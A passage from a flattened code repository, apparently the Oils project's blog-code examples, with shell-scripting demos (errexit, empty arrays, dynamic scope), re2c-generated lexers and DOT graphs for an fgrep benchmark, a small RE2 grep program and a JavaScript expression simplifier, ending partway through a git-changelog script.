60 | -------------------------------------------------------------------------------- /dynamic-programming/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | demo() { 11 | for k in $(seq 5); do 12 | seq 10 | xargs ./partition.py $k 13 | done 14 | 15 | echo ----- 16 | 17 | for k in $(seq 5); do 18 | seq 5 15 | xargs ./partition.py $k 19 | done 20 | } 21 | 22 | # Hm it doesn't seem to have a quadratic explosion? 23 | n-scale() { 24 | for n in $(seq 1000 100 2000); do 25 | echo $n 26 | time seq $n | xargs ./partition.py 10 27 | done 28 | } 29 | 30 | # ditto, seems linear 31 | k-scale() { 32 | for k in $(seq 10 10 100); do 33 | echo $k 34 | time seq 1000 | xargs ./partition.py $k 35 | done 36 | } 37 | 38 | 39 | "$@" 40 | -------------------------------------------------------------------------------- /dynamic-scope/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | f() { 11 | local x='local to f' 12 | g 13 | } 14 | 15 | g() { 16 | local y='local to g' 17 | h 18 | } 19 | 20 | h() { 21 | local z='local to h' 22 | echo $x - $y - $z 23 | } 24 | 25 | f 26 | -------------------------------------------------------------------------------- /empty-arrays/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Demonstrate issue with empty array and set -u. 4 | # 5 | # Tested with GNU bash, version 4.3.48(1)-release (x86_64-pc-linux-gnu) 6 | # 7 | # Usage: 8 | # ./demo.sh 9 | 10 | declare -a empty=() 11 | declare -a single=('') 12 | declare -a double=('' '') 13 | declare -a myarray=('a b' c) 14 | 15 | set -o nounset # important! 16 | 17 | empty() { 18 | echo 1 "${empty[@]:-empty_or_unset}" 19 | 20 | # This works fine as long as you have double quotes. 21 | echo 2 "${single[@]:-empty_or_unset}" 22 | 23 | echo 3 "${double[@]:-empty_or_unset}" 24 | 25 | echo 4 "${myarray[@]:-empty_or_unset}" 26 | } 27 | 28 | # Everything works 29 | length() { 30 | echo ${#empty[@]} 31 | echo ${#single[@]} 32 | echo ${#double[@]} 33 | echo ${#myarray[@]} 34 | } 35 | 36 | argv() { 37 | python -c 'import sys;print sys.argv[1:]' "$@" 38 | } 39 | 40 | bad-interpolate() { 41 | argv "${single[@]}" 42 | argv "${double[@]}" 43 | argv "${myarray[@]}" 44 | 45 | # This one crashes, but shouldn't. 46 | argv "${empty[@]}" 47 | } 48 | 49 | 50 | # 8 chars + 4 chars + name of at least 1 char = 13+ chars 51 | # 52 | # It takes 13+ punctuation characters to correctly interpolate arrays in 53 | # "strict mode" 54 | 55 | good-interpolate() { 56 | # NOTES: 57 | # - Outer $ is unquoted 58 | # - Use + , not :+ 59 | # - Inner $ is quoted 60 | 61 | # This is similar in form to ${1+"$@"}, but it works around a different 62 | # problem. 63 | # 64 | # https://unix.stackexchange.com/questions/68484/what-does-1-mean-in-a-shell-script-and-how-does-it-differ-from 65 | 66 | argv ${single+"${single[@]}"} 67 | argv ${double+"${double[@]}"} 68 | argv ${myarray+"${myarray[@]}"} 69 | 70 | argv ${empty+"${empty[@]}"} 71 | } 72 | 73 | "$@" 74 | -------------------------------------------------------------------------------- /errexit/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./demo.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | commandsub() { 11 | echo $(false) 12 | echo status=$? 13 | } 14 | 15 | assign() { 16 | local foo 17 | foo=$(false) 18 | echo status=$? 19 | } 20 | 21 | # subshell 22 | # https://news.ycombinator.com/item?id=24738274 23 | 24 | SH=${SH:-bash} 25 | 26 | subshell-compare() { 27 | set +o errexit 28 | 29 | $SH -c 'set -e; false && true ; echo hi' 30 | 31 | echo '--- subshell changes behavior --- ' 32 | $SH -c 'set -e; (false && true); echo hi' 33 | } 34 | 35 | # function 36 | # https://news.ycombinator.com/item?id=24740842 37 | 38 | func-compare() { 39 | set +o errexit 40 | 41 | $SH -c 'set -e; false && true ; echo hi' 42 | 43 | echo '--- function changes behavior --- ' 44 | 45 | $SH -c ' 46 | f() { 47 | false && true 48 | } 49 | set -e; f; echo hi 50 | ' 51 | 52 | } 53 | 54 | "$@" 55 | -------------------------------------------------------------------------------- /expr-simplify/demo.js: -------------------------------------------------------------------------------- 1 | // https://buttondown.email/jaffray/archive/simplifying-expressions-bottom-up/ 2 | 3 | const Number = (value) => ({ 4 | type: "number", 5 | value, 6 | }); 7 | 8 | const Variable = (name) => ({ 9 | type: "variable", 10 | name, 11 | }); 12 | 13 | const Plus = (left, right) => ({ 14 | type: "plus", 15 | left, 16 | right, 17 | }); 18 | 19 | const Minus = (left, right) => ({ 20 | type: "minus", 21 | left, 22 | right, 23 | }); 24 | 25 | const Times = (left, right) => ({ 26 | type: "times", 27 | left, 28 | right, 29 | }); 30 | 31 | function simplify(node) { 32 | switch (node.type) { 33 | case "plus": { 34 | var left = simplify(node.left); 35 | var right = simplify(node.right); 36 | 37 | // Commute variables to the left. 38 | if (left.type !== "variable" && right.type === "variable") { 39 | [left, right] = [right, left]; 40 | } 41 | 42 | // Fold 0 + x => x. 43 | if (left.type === "number" && left.value === 0) { 44 | return right; 45 | } 46 | 47 | // Fold x + 0 => x. 48 | if (right.type === "number" && right.value === 0) { 49 | return left; 50 | } 51 | 52 | return Plus(left, right); 53 | } 54 | case "minus": { 55 | const left = simplify(node.left); 56 | const right = simplify(node.right); 57 | 58 | return Minus(left, right); 59 | } 60 | case "times": { 61 | const left = simplify(node.left); 62 | const right = simplify(node.right); 63 | 64 | return Times(left, right); 65 | } 66 | default: 67 | return node; 68 | } 69 | } 70 | 71 | 72 | let expression = Plus(Number(0), Variable("a")); 73 | expression = simplify(expression); 74 | console.log(expression); 75 | -------------------------------------------------------------------------------- /fd-passing/run.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | # 3 | # Usage: 4 | # ./run.sh 5 | 6 | set -o nounset 7 | set -o pipefail 8 | set -o errexit 9 | 10 | readonly SOCKET='osh.fanos-socket' 11 | 12 | serve() { 13 | ./server.py --socket-path $SOCKET 14 | } 15 | 16 | to-my-stdout() { 17 | ./headless_client.py --socket-path $SOCKET --to-file /dev/stdout "$@" 18 | } 19 | 20 | to-new-pty() { 21 | ./headless_client.py --socket-path $SOCKET --to-new-pty 22 | } 23 | 24 | to-disk() { 25 | local file=_tmp/disk.txt 26 | 27 | mkdir -p _tmp 28 | 29 | ./headless_client.py --socket-path $SOCKET --to-file $file 30 | echo -- 31 | head $file 32 | echo -- 33 | } 34 | 35 | # Doesn't work, we get EINVAL on sock.listen() or sock.accept(), after 36 | # socket.fromfd() 37 | socket-pair() { 38 | ./headless_client.py --socket-pair --to-file /dev/stdout "$@" 39 | } 40 | 41 | "$@" 42 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/code-size.txt: -------------------------------------------------------------------------------- 1 | VM SIZE FILE SIZE 2 | -------------- -------------- 3 | 0.0% 0 [section .debug_loc] 245Ki 60.3% 4 | 77.0% 56.6Ki GrepFixedStrings() 56.6Ki 13.9% 5 | 0.0% 0 [section .debug_info] 40.3Ki 9.9% 6 | 0.0% 0 [section .debug_line] 21.8Ki 5.4% 7 | 0.0% 0 [section .debug_str] 16.2Ki 4.0% 8 | 15.9% 11.7Ki [section .rodata] 11.7Ki 2.9% 9 | 0.0% 0 [Unmapped] 2.78Ki 0.7% 10 | 0.0% 0 [ELF Headers] 2.38Ki 0.6% 11 | 1.9% 1.37Ki [30 Others] 1.71Ki 0.4% 12 | 0.0% 0 [section .symtab] 1.62Ki 0.4% 13 | 0.8% 605 __libc_csu_init 1.17Ki 0.3% 14 | 1.0% 772 CountLines() 857 0.2% 15 | 0.9% 700 main 729 0.2% 16 | 0.0% 0 [section .debug_abbrev] 693 0.2% 17 | 0.8% 595 [LOAD [RX]] 595 0.1% 18 | 0.0% 0 [section .strtab] 577 0.1% 19 | 0.6% 480 [section .dynsym] 480 0.1% 20 | 0.6% 464 [section .dynamic] 464 0.1% 21 | 0.0% 0 [section .shstrtab] 357 0.1% 22 | 0.0% 0 [section .debug_ranges] 352 0.1% 23 | 0.4% 304 [section .plt] 304 0.1% 24 | 100.0% 73.5Ki TOTAL 406Ki 100.0% 25 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/do-done-edited.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/fgrep-problem-benchmarks/_gen/do-done-edited.png -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/do-done.cc: -------------------------------------------------------------------------------- 1 | /* Generated by re2c 3.0 on Wed Dec 6 16:35:55 2023 */ 2 | #line 1 "do-done.re2c.cc" 3 | 4 | #line 5 "_gen/do-done.cc" 5 | { 6 | YYCTYPE yych; 7 | if ((YYLIMIT - YYCURSOR) < 4) YYFILL(4); 8 | yych = *YYCURSOR; 9 | switch (yych) { 10 | case 'd': goto yy3; 11 | default: goto yy1; 12 | } 13 | yy1: 14 | ++YYCURSOR; 15 | yy2: 16 | #line 9 "do-done.re2c.cc" 17 | { 18 | printf("other\n"); 19 | } 20 | #line 21 "_gen/do-done.cc" 21 | yy3: 22 | yych = *++YYCURSOR; 23 | switch (yych) { 24 | case 'o': goto yy4; 25 | default: goto yy2; 26 | } 27 | yy4: 28 | yych = *(YYMARKER = ++YYCURSOR); 29 | switch (yych) { 30 | case 'n': goto yy6; 31 | default: goto yy5; 32 | } 33 | yy5: 34 | #line 3 "do-done.re2c.cc" 35 | { 36 | printf("do\n"); 37 | } 38 | #line 39 "_gen/do-done.cc" 39 | yy6: 40 | yych = *++YYCURSOR; 41 | switch (yych) { 42 | case 'e': goto yy8; 43 | default: goto yy7; 44 | } 45 | yy7: 46 | YYCURSOR = YYMARKER; 47 | goto yy5; 48 | yy8: 49 | ++YYCURSOR; 50 | #line 6 "do-done.re2c.cc" 51 | { 52 | printf("done\n"); 53 | } 54 | #line 55 "_gen/do-done.cc" 55 | } 56 | #line 13 "do-done.re2c.cc" 57 | 58 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/do-done.dot: -------------------------------------------------------------------------------- 1 | /* Generated by re2c 3.0 on Wed Dec 6 16:35:55 2023 */ 2 | digraph re2c { 3 | 1 -> 2 [label="[0x00-c][e-0xFF]"] 4 | 1 -> 4 [label="[d]"] 5 | 2 -> 3 6 | 3 [label="do-done.re2c.cc:9"] 7 | 4 -> 3 [label="[0x00-n][p-0xFF]"] 8 | 4 -> 5 [label="[o]"] 9 | 5 -> 6 [label="[0x00-m][o-0xFF]"] 10 | 5 -> 7 [label="[n]"] 11 | 6 [label="do-done.re2c.cc:3"] 12 | 7 -> 8 [label="[0x00-d][f-0xFF]"] 13 | 7 -> 9 [label="[e]"] 14 | 8 -> 6 [label="yyaccept=0"] 15 | 9 -> 10 16 | 10 [label="do-done.re2c.cc:6"] 17 | } 18 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/do-done.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/fgrep-problem-benchmarks/_gen/do-done.png -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/else-elif-edited.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/fgrep-problem-benchmarks/_gen/else-elif-edited.png -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/else-elif.cc: -------------------------------------------------------------------------------- 1 | /* Generated by re2c 3.0 on Wed Dec 6 16:35:55 2023 */ 2 | #line 1 "else-elif.re2c.cc" 3 | 4 | #line 5 "_gen/else-elif.cc" 5 | { 6 | YYCTYPE yych; 7 | if ((YYLIMIT - YYCURSOR) < 4) YYFILL(4); 8 | yych = *YYCURSOR; 9 | switch (yych) { 10 | case 'e': goto yy3; 11 | default: goto yy1; 12 | } 13 | yy1: 14 | ++YYCURSOR; 15 | yy2: 16 | #line 9 "else-elif.re2c.cc" 17 | { 18 | printf("NO MATCH\n"); 19 | } 20 | #line 21 "_gen/else-elif.cc" 21 | yy3: 22 | yych = *(YYMARKER = ++YYCURSOR); 23 | switch (yych) { 24 | case 'l': goto yy4; 25 | default: goto yy2; 26 | } 27 | yy4: 28 | yych = *++YYCURSOR; 29 | switch (yych) { 30 | case 'i': goto yy6; 31 | case 's': goto yy7; 32 | default: goto yy5; 33 | } 34 | yy5: 35 | YYCURSOR = YYMARKER; 36 | goto yy2; 37 | yy6: 38 | yych = *++YYCURSOR; 39 | switch (yych) { 40 | case 'f': goto yy8; 41 | default: goto yy5; 42 | } 43 | yy7: 44 | yych = *++YYCURSOR; 45 | switch (yych) { 46 | case 'e': goto yy9; 47 | default: goto yy5; 48 | } 49 | yy8: 50 | ++YYCURSOR; 51 | #line 6 "else-elif.re2c.cc" 52 | { 53 | printf("elif\n"); 54 | } 55 | #line 56 "_gen/else-elif.cc" 56 | yy9: 57 | ++YYCURSOR; 58 | #line 3 "else-elif.re2c.cc" 59 | { 60 | printf("else\n"); 61 | } 62 | #line 63 "_gen/else-elif.cc" 63 | } 64 | #line 13 "else-elif.re2c.cc" 65 | 66 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/else-elif.dot: -------------------------------------------------------------------------------- 1 | /* Generated by re2c 3.0 on Wed Dec 6 16:35:55 2023 */ 2 | digraph re2c { 3 | 1 -> 2 [label="[0x00-d][f-0xFF]"] 4 | 1 -> 4 [label="[e]"] 5 | 2 -> 3 6 | 3 [label="else-elif.re2c.cc:9"] 7 | 4 -> 3 [label="[0x00-k][m-0xFF]"] 8 | 4 -> 5 [label="[l]"] 9 | 5 -> 6 [label="[0x00-h][j-r][t-0xFF]"] 10 | 5 -> 7 [label="[i]"] 11 | 5 -> 8 [label="[s]"] 12 | 6 -> 3 [label="yyaccept=0"] 13 | 7 -> 6 [label="[0x00-e][g-0xFF]"] 14 | 7 -> 9 [label="[f]"] 15 | 8 -> 6 [label="[0x00-d][f-0xFF]"] 16 | 8 -> 11 [label="[e]"] 17 | 9 -> 10 18 | 10 [label="else-elif.re2c.cc:6"] 19 | 11 -> 12 20 | 12 [label="else-elif.re2c.cc:3"] 21 | } 22 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/else-elif.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/fgrep-problem-benchmarks/_gen/else-elif.png -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/fixed-strings.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/fgrep-problem-benchmarks/_gen/fixed-strings.png -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/trie.cc: -------------------------------------------------------------------------------- 1 | /* Generated by re2c 3.0 on Wed Dec 6 16:35:55 2023 */ 2 | #line 1 "trie.re2c.cc" 3 | 4 | #line 5 "_gen/trie.cc" 5 | { 6 | YYCTYPE yych; 7 | unsigned int yyaccept = 0; 8 | if ((YYLIMIT - YYCURSOR) < 5) YYFILL(5); 9 | yych = *YYCURSOR; 10 | switch (yych) { 11 | case 'b': goto yy3; 12 | case 'd': goto yy4; 13 | default: goto yy1; 14 | } 15 | yy1: 16 | ++YYCURSOR; 17 | yy2: 18 | #line 6 "trie.re2c.cc" 19 | { 20 | printf("other\n"); 21 | } 22 | #line 23 "_gen/trie.cc" 23 | yy3: 24 | yyaccept = 0; 25 | yych = *(YYMARKER = ++YYCURSOR); 26 | switch (yych) { 27 | case 'r': goto yy5; 28 | default: goto yy2; 29 | } 30 | yy4: 31 | yych = *++YYCURSOR; 32 | switch (yych) { 33 | case 'o': goto yy7; 34 | default: goto yy2; 35 | } 36 | yy5: 37 | yych = *++YYCURSOR; 38 | switch (yych) { 39 | case 'e': goto yy9; 40 | default: goto yy6; 41 | } 42 | yy6: 43 | YYCURSOR = YYMARKER; 44 | if (yyaccept == 0) { 45 | goto yy2; 46 | } else { 47 | goto yy8; 48 | } 49 | yy7: 50 | yyaccept = 1; 51 | yych = *(YYMARKER = ++YYCURSOR); 52 | switch (yych) { 53 | case 'n': goto yy10; 54 | default: goto yy8; 55 | } 56 | yy8: 57 | #line 3 "trie.re2c.cc" 58 | { 59 | printf("keyword\n"); 60 | } 61 | #line 62 "_gen/trie.cc" 62 | yy9: 63 | yych = *++YYCURSOR; 64 | switch (yych) { 65 | case 'a': goto yy11; 66 | default: goto yy6; 67 | } 68 | yy10: 69 | yych = *++YYCURSOR; 70 | switch (yych) { 71 | case 'e': goto yy12; 72 | default: goto yy6; 73 | } 74 | yy11: 75 | yych = *++YYCURSOR; 76 | switch (yych) { 77 | case 'k': goto yy12; 78 | default: goto yy6; 79 | } 80 | yy12: 81 | ++YYCURSOR; 82 | goto yy8; 83 | } 84 | #line 10 "trie.re2c.cc" 85 | 86 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/trie.dot: -------------------------------------------------------------------------------- 1 | /* Generated by re2c 3.0 on Wed Dec 6 16:35:55 2023 */ 2 | digraph re2c { 3 | 1 -> 2 [label="[0x00-a][c][e-0xFF]"] 4 | 1 -> 4 [label="[b]"] 5 | 1 -> 5 [label="[d]"] 6 | 2 -> 3 7 | 3 [label="trie.re2c.cc:6"] 8 | 4 -> 3 [label="[0x00-q][s-0xFF]"] 9 | 4 -> 6 [label="[r]"] 10 | 5 -> 3 [label="[0x00-n][p-0xFF]"] 11 | 5 -> 8 [label="[o]"] 12 | 6 -> 7 [label="[0x00-d][f-0xFF]"] 13 | 6 -> 10 [label="[e]"] 14 | 7 -> 3 [label="yyaccept=0"] 15 | 7 -> 9 [label="yyaccept=1"] 16 | 8 -> 9 [label="[0x00-m][o-0xFF]"] 17 | 8 -> 11 [label="[n]"] 18 | 9 [label="trie.re2c.cc:3"] 19 | 10 -> 7 [label="[0x00-`][b-0xFF]"] 20 | 10 -> 12 [label="[a]"] 21 | 11 -> 7 [label="[0x00-d][f-0xFF]"] 22 | 11 -> 13 [label="[e]"] 23 | 12 -> 7 [label="[0x00-j][l-0xFF]"] 24 | 12 -> 13 [label="[k]"] 25 | 13 -> 9 26 | } 27 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/_gen/trie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/oils-for-unix/blog-code/e4317bee1e00593399c659a55b26bb015e218557/fgrep-problem-benchmarks/_gen/trie.png -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Usage: 4 | # ./setup.sh 5 | 6 | source common.sh 7 | 8 | set -o nounset 9 | set -o pipefail 10 | set -o errexit 11 | 12 | download-re2() { 13 | mkdir -p _deps 14 | wget --directory _deps \ 15 | https://github.com/google/re2/archive/2018-10-01.tar.gz 16 | } 17 | 18 | readonly RE2_DIR=_deps/re2-2018-10-01 19 | 20 | # Easy to build. 21 | # NOTE: Depends on C++ 11 atomic. 22 | build-re2() { 23 | pushd $RE2_DIR 24 | make 25 | make test 26 | popd 27 | } 28 | 29 | link-re2() { 30 | ln -s -f --verbose $(basename $RE2_DIR) _deps/re2 31 | } 32 | 33 | # Why does it require threads? 34 | re2-grep() { 35 | g++ $OPT_FLAGS \ 36 | -o _tmp/re2_grep \ 37 | re2_grep.cc \ 38 | -I _deps/re2 \ 39 | -L _deps/re2/obj -l re2 \ 40 | -l pthread 41 | 42 | #_tmp/re2_grep 43 | } 44 | 45 | 46 | 47 | "$@" 48 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/common.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if test -n "$__INCLUDE__"; then 4 | return 5 | fi 6 | __INCLUDE__=1 7 | 8 | # symbols in OPT mode to see how bit it is 9 | readonly CXXFLAGS='-std=c++11 -Wall -Wextra -g' 10 | readonly DEBUG_FLAGS="$CXXFLAGS -fsanitize=address" 11 | readonly OPT_FLAGS="$CXXFLAGS -O3" 12 | 13 | # For smaller benchmark 14 | readonly KEYWORDS=(for while continue break if fi then else elif case esac do done) 15 | 16 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/do-done-edited.dot: -------------------------------------------------------------------------------- 1 | /* Generated by re2c 1.0.3 on Wed Dec 30 21:52:53 2020 */ 2 | digraph re2c { 3 | 1 -> 2 [label="not d"] 4 | 1 -> 4 [label="d"] 5 | 2 -> 3 6 | 3 [label="other"] 7 | 4 -> 3 [label="not o"] 8 | 4 -> 5 [label="o"] 9 | 5 -> 6 [label="not n"] 10 | 5 -> 7 [label="n"] 11 | 6 [label="do"] 12 | 7 -> 8 [label="not e"] 13 | 7 -> 9 [label="e"] 14 | 8 -> 6 [label="yyaccept=0"] 15 | 9 -> 10 16 | 10 [label="done"] 17 | } 18 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/do-done.re2c.cc: -------------------------------------------------------------------------------- 1 | /*!re2c 2 | 3 | "do" { 4 | printf("do\n"); 5 | } 6 | "done" { 7 | printf("done\n"); 8 | } 9 | * { 10 | printf("other\n"); 11 | } 12 | 13 | */ 14 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/else-elif-edited.dot: -------------------------------------------------------------------------------- 1 | /* Generated by re2c 1.0.3 on Wed Dec 30 22:05:54 2020 */ 2 | digraph re2c { 3 | 1 -> 2 [label="not e"] 4 | 1 -> 4 [label="e"] 5 | 2 -> 3 6 | 3 [label="NO MATCH"] 7 | 4 -> 3 [label="not l"] 8 | 4 -> 5 [label="l"] 9 | 5 -> 6 [label="not i or s"] 10 | 5 -> 7 [label="i"] 11 | 5 -> 8 [label="s"] 12 | 6 -> 3 [label="yyaccept=0"] 13 | 7 -> 6 [label="not f"] 14 | 7 -> 9 [label="f"] 15 | 8 -> 6 [label="not e"] 16 | 8 -> 11 [label="e"] 17 | 9 -> 10 18 | 10 [label="MATCH elif"] 19 | 11 -> 12 20 | 12 [label="MATCH else"] 21 | } 22 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/else-elif.re2c.cc: -------------------------------------------------------------------------------- 1 | /*!re2c 2 | 3 | "else" { 4 | printf("else\n"); 5 | } 6 | "elif" { 7 | printf("elif\n"); 8 | } 9 | * { 10 | printf("NO MATCH\n"); 11 | } 12 | 13 | */ 14 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/make_pat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """ 3 | words.py 4 | """ 5 | from __future__ import print_function 6 | 7 | import sys 8 | 9 | 10 | def main(argv): 11 | action = argv[1] 12 | words = [line.strip() for line in sys.stdin] 13 | 14 | if action in ('ripgrep', 're2', 'egrep'): # | is alternation 15 | print('|'.join(words)) 16 | 17 | elif action == 'fgrep': 18 | print('\n'.join(words)) # newline seprated file 19 | 20 | elif action == 'grep': #\| is alternation 21 | print('\\|'.join(words)) 22 | 23 | elif action == 're2c': 24 | quoted = ['"%s"' % w for w in words] 25 | print(" | ".join(quoted)) 26 | 27 | else: 28 | raise RuntimeError('Invalid action %r' % action) 29 | 30 | 31 | if __name__ == '__main__': 32 | try: 33 | main(sys.argv) 34 | except RuntimeError as e: 35 | print('FATAL: %s' % e, file=sys.stderr) 36 | sys.exit(1) 37 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/re2_grep.cc: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include // write() 4 | 5 | // NOTE: This has a copy of stringpiece.h too. 6 | #include "re2/re2.h" 7 | 8 | int main(int argc, char **argv) { 9 | if (argc != 3) { 10 | printf("Expected pattern and filename\n"); 11 | return 1; 12 | } 13 | 14 | char* pat = argv[1]; 15 | 16 | FILE *f = fopen(argv[2], "rb"); 17 | if (!f) { 18 | printf("Error opening %s\n", argv[1]); 19 | return 1; 20 | } 21 | 22 | fseek(f, 0, SEEK_END); 23 | size_t num_bytes = ftell(f); 24 | fseek(f, 0, SEEK_SET); //same as rewind(f); 25 | 26 | int fd = fileno(f); 27 | 28 | char* buf = (char*)malloc(num_bytes); 29 | size_t num_read = read(fd, buf, num_bytes); 30 | assert(num_read == num_bytes); 31 | 32 | //fprintf(stderr, "pat = %s\n", pat); 33 | 34 | // RE2 uses a maximum of 8 MB for DFAs by default, but we can override it. 35 | // https://github.com/google/re2/blob/master/re2/re2.h#L591 36 | 37 | re2::RE2::Options options; 38 | options.set_max_mem(1 << 30); // 1 GB 39 | re2::RE2 re(pat, options); 40 | assert(re.ok()); 41 | 42 | re2::StringPiece input(buf, num_bytes); 43 | 44 | // This loop modifies the input. 45 | // Have to read the header. 46 | // https://github.com/google/re2/wiki/CplusplusAPI 47 | int num_matches = 0; 48 | while (re2::RE2::FindAndConsume(&input, re)){ 49 | num_matches++; 50 | } 51 | 52 | fprintf(stderr, "num_matches = %d\n", num_matches); 53 | fprintf(stderr, "num_bytes = %zu\n", num_bytes); 54 | free(buf); 55 | 56 | return num_matches ? 0 : 1; 57 | } 58 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/synthetic-rsc.re2c.cc: -------------------------------------------------------------------------------- 1 | /*!re2c 2 | 3 | "a?a?a?a?a?a?aaaaaa" { 4 | printf("yes\n"); 5 | } 6 | * { 7 | printf("no\n"); 8 | } 9 | 10 | */ 11 | -------------------------------------------------------------------------------- /fgrep-problem-benchmarks/trie.re2c.cc: -------------------------------------------------------------------------------- 1 | /*!re2c 2 | 3 | "do" | "done" | "break" { 4 | printf("keyword\n"); 5 | } 6 | * { 7 | printf("other\n"); 8 | } 9 | 10 | */ 11 | -------------------------------------------------------------------------------- /forth-like/demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | """ 3 | demo.py -- Experimenting with expressing this forth-like pattern in Python. 4 | 5 | It appears it can be done with varargs and splatting. 6 | """ 7 | 8 | import sys 9 | import time 10 | 11 | 12 | def retry(n, f, *args): 13 | for i in range(n): 14 | f(*args) 15 | 16 | 17 | def hello_sleep(t): 18 | print 'hello' 19 | time.sleep(t) 20 | 21 | 22 | def retry_demo(): 23 | retry(5, hello_sleep, 0.1) 24 | 25 | 26 | def timeout(seconds, f, *a): 27 | # TODO: Set SIGALARM or something 28 | print 'Running %s with args %s with timeout of %f' % (f, a, seconds) 29 | f(*a) 30 | 31 | 32 | def timeout_retry_demo(): 33 | timeout(0.3, retry, 5, hello_sleep, 0.1) 34 | 35 | 36 | def main(_): 37 | hello_sleep(0.1) 38 | print('--') 39 | retry_demo() 40 | 41 | print('--') 42 | timeout_retry_demo() 43 | 44 | 45 | if __name__ == '__main__': 46 | try: 47 | main(sys.argv) 48 | except RuntimeError as e: 49 | print >>sys.stderr, 'FATAL: %s' % e 50 | sys.exit(1) 51 | -------------------------------------------------------------------------------- /forth-like/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # Problems: 4 | # - Builtin vs external: need $0 5 | # - $(seq $n) should be builtin. {1..$n} doesn't work, because brace expansion 6 | # happens before variable expansion. 7 | # 8 | # Usage: 9 | # ./demo.sh 10 | 11 | set -o nounset 12 | set -o pipefail 13 | set -o errexit 14 | 15 | retry() { 16 | local n=$1 17 | shift 18 | for i in $(seq $n); do 19 | "$@" 20 | done 21 | } 22 | 23 | hello-sleep() { 24 | echo hello 25 | sleep $1 26 | } 27 | 28 | retry-demo() { 29 | retry 5 hello-sleep 0.1 30 | } 31 | 32 | timeout-retry-demo() { 33 | timeout 0.3 $0 retry 5 hello-sleep 0.1 34 | } 35 | 36 | "$@" 37 | -------------------------------------------------------------------------------- /function-in-pipeline/demo.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | LEFT='[' 4 | RIGHT=']' 5 | 6 | gen() { 7 | echo BEGIN 8 | ls / | sort | head -n 3 9 | echo END 10 | } 11 | 12 | wrap() { 13 | while read line; do 14 | echo "$LEFT $line $RIGHT" 15 | done 16 | } 17 | 18 | gen | wrap | wrap 19 | -------------------------------------------------------------------------------- /git-changelog/demo-multiline.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # A harder variant. 4 | # 5 | # Usage: 6 | # ./demo-multiline.sh 7 | 8 | set -o nounset 9 | set -o pipefail 10 | set -o errexit 11 | 12 | escape-segments() { 13 | python -c ' 14 | import cgi, re, sys 15 | 16 | print re.sub( 17 | r"\x00([^\x00]*)\x00", 18 | lambda match: cgi.escape(match.group(1)), 19 | sys.stdin.read()) 20 | ' 21 | } 22 | 23 | count-nul() { 24 | # -o puts every match on its own line. grep -o -c doesn't work. 25 | od -A n -t x1 | grep -o '00' | wc -l 26 | } 27 | 28 | test-count-nul() { 29 | python -c "print '\0x\0\0'" | count-nul 30 | python -c "print '\1'" | count-nul 31 | } 32 | 33 | # Takes a file on stdin, and expected NUL count as $1. Fails if they don't 34 | # match. 35 | expect-nul-count() { 36 | local expected=$1 37 | 38 | local nul_count=0 39 | nul_count=$(count-nul) # reads from stdin! 40 | 41 | if test "$nul_count" -ne "$expected"; then 42 | echo 1>&2 "Expected $expected NUL characters, got $nul_count" 43 | return 1 44 | fi 45 | } 46 | 47 | git-log-html() { 48 | echo '' 49 | 50 | local num_fields=2 # 2 fields contain arbitrary text 51 | local format=' 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | ' 62 | 63 | local num_entries=5 64 | git log -n $num_entries --pretty="format:$format" > tmp.bin 65 | 66 | # Fails 